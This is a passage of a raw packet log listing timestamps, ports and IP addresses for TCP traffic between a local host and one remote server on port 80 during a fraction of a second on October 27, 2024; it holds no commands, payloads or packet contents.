Oct 27, 2024 17:17:26.334073067 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.334105015 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.334105015 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.334140062 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.334206104 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.334209919 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.334240913 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.334252119 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.334270000 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.334320068 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.334352016 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.334352970 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.334367990 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.334383011 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.334414005 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.334466934 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.334475994 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.334515095 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.377597094 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.377705097 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.377739906 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.378026009 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.379307032 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.379373074 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.379403114 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.379409075 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.379460096 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.379491091 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.379494905 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.379699945 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.410756111 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.410788059 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.410821915 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.410854101 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.410856009 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.410944939 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.449361086 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.449415922 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.449466944 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.449497938 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.449532986 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.449533939 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.449562073 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.449580908 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.449595928 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.449604034 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.449630022 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.449680090 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.449712992 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.449740887 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.449744940 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.449796915 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.449800968 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.449829102 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.449856043 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.449877024 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.449928045 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.449954987 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.449959993 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.449994087 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.450031996 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.450046062 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.450083971 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.450097084 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.450158119 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.450191021 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.450222015 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.450247049 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.450253963 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.450303078 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.450335026 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.450335979 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.450364113 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.450386047 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.450418949 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.450445890 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.450450897 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.450484037 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.450514078 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.450515985 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.450548887 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.450598001 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.450632095 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.450663090 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.450664043 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.450696945 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.450723886 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.450728893 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.450761080 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.450784922 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.450795889 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.450835943 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.450869083 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.450920105 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.450932026 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.450968981 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.451001883 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.451050997 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.451082945 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.451086044 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.451112986 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.451148987 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.451150894 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.451184034 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.451184034 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.451211929 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.451237917 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.451244116 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.451277971 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.451306105 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.451472044 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.451520920 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.451551914 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.451560020 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.451591015 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.451621056 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.451625109 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.451656103 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.451683044 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.451705933 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.451756001 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.451788902 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.451817036 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.451818943 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.451848030 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.451874971 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.451883078 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.451910973 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.451913118 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.452455997 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.495058060 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.495073080 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.495086908 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.495213032 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.496892929 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.496916056 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.496929884 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.496944904 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.496959925 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.496959925 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.496989012 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.497047901 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.497071028 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.497085094 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.497158051 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.497185946 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.528387070 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.528424025 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.528458118 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.528492928 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.528537989 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.530869007 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.566653967 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.566689014 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.566720963 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.566752911 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.566950083 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.567001104 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.567048073 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.567053080 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.567100048 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.567101955 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.567137003 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.567169905 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.567200899 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.567203999 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.567253113 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.567253113 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.567287922 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.567337990 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.567339897 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.567392111 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.567440987 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.567473888 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.567475080 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.567507029 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.567538977 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.567543030 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.567586899 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.567621946 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.567655087 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.567656040 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.567687035 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.567688942 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.567720890 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.567725897 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.567753077 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.567785025 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.567852974 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.567882061 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.567884922 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.567918062 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.567950010 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.567962885 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.567962885 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.568000078 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.568028927 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.568056107 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.568063021 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.568097115 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.568130016 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.568149090 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.568162918 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.568193913 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.568198919 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.568228960 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.568262100 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.568350077 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.568378925 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.568427086 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.568458080 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.568459034 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.568487883 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.568511009 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.568559885 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.568563938 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.568592072 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.568624973 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.568674088 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.568679094 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.568706989 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.568733931 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.568737984 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.568766117 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.568814039 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.568845987 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.568859100 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.568895102 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.568926096 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.568928003 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.568953991 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.568958998 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.568990946 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.569005966 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.569026947 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.569058895 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.569092035 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.569125891 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.569127083 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.569154024 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.569158077 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.569190025 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.569219112 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.569224119 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.569508076 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.609872103 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.609919071 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.609978914 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.610009909 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.612648964 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.612684011 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.612720013 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.612732887 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.612770081 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.614475012 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.614504099 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.614540100 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.614572048 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.614583969 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.614634991 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.614641905 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.614662886 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.614940882 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.614953041 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.614993095 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.615022898 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.615051031 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.615056038 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.615098000 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.645788908 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.645844936 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.645879984 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.645917892 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.684123993 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.684175968 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.684190035 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.684226990 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.684259892 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.684294939 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.684322119 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.684366941 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.684366941 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.684407949 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.684442997 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.684477091 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.684479952 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.684551001 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.684576988 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.684611082 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.684644938 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.684676886 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.684708118 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.684710026 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.684716940 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.684741974 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.684794903 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.684828043 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.684845924 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.684878111 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.684886932 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.684932947 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.684981108 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.685012102 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.685029030 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.685077906 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.685102940 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.685113907 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.685147047 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.685180902 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.685213089 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.685214996 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.685249090 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.685264111 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.685296059 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.685324907 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.685328960 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.685358047 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.685399055 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.685448885 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.685497046 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.685528994 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.685547113 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.685576916 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.685578108 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.685611963 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.685659885 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.685692072 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.685692072 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.685723066 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.685728073 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.685779095 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.685791016 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.685810089 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.685842991 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.685873985 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.685878038 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.685909033 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.685959101 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.685986996 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.685991049 CET	80	49714	185.215.113.16	192.168.2.5
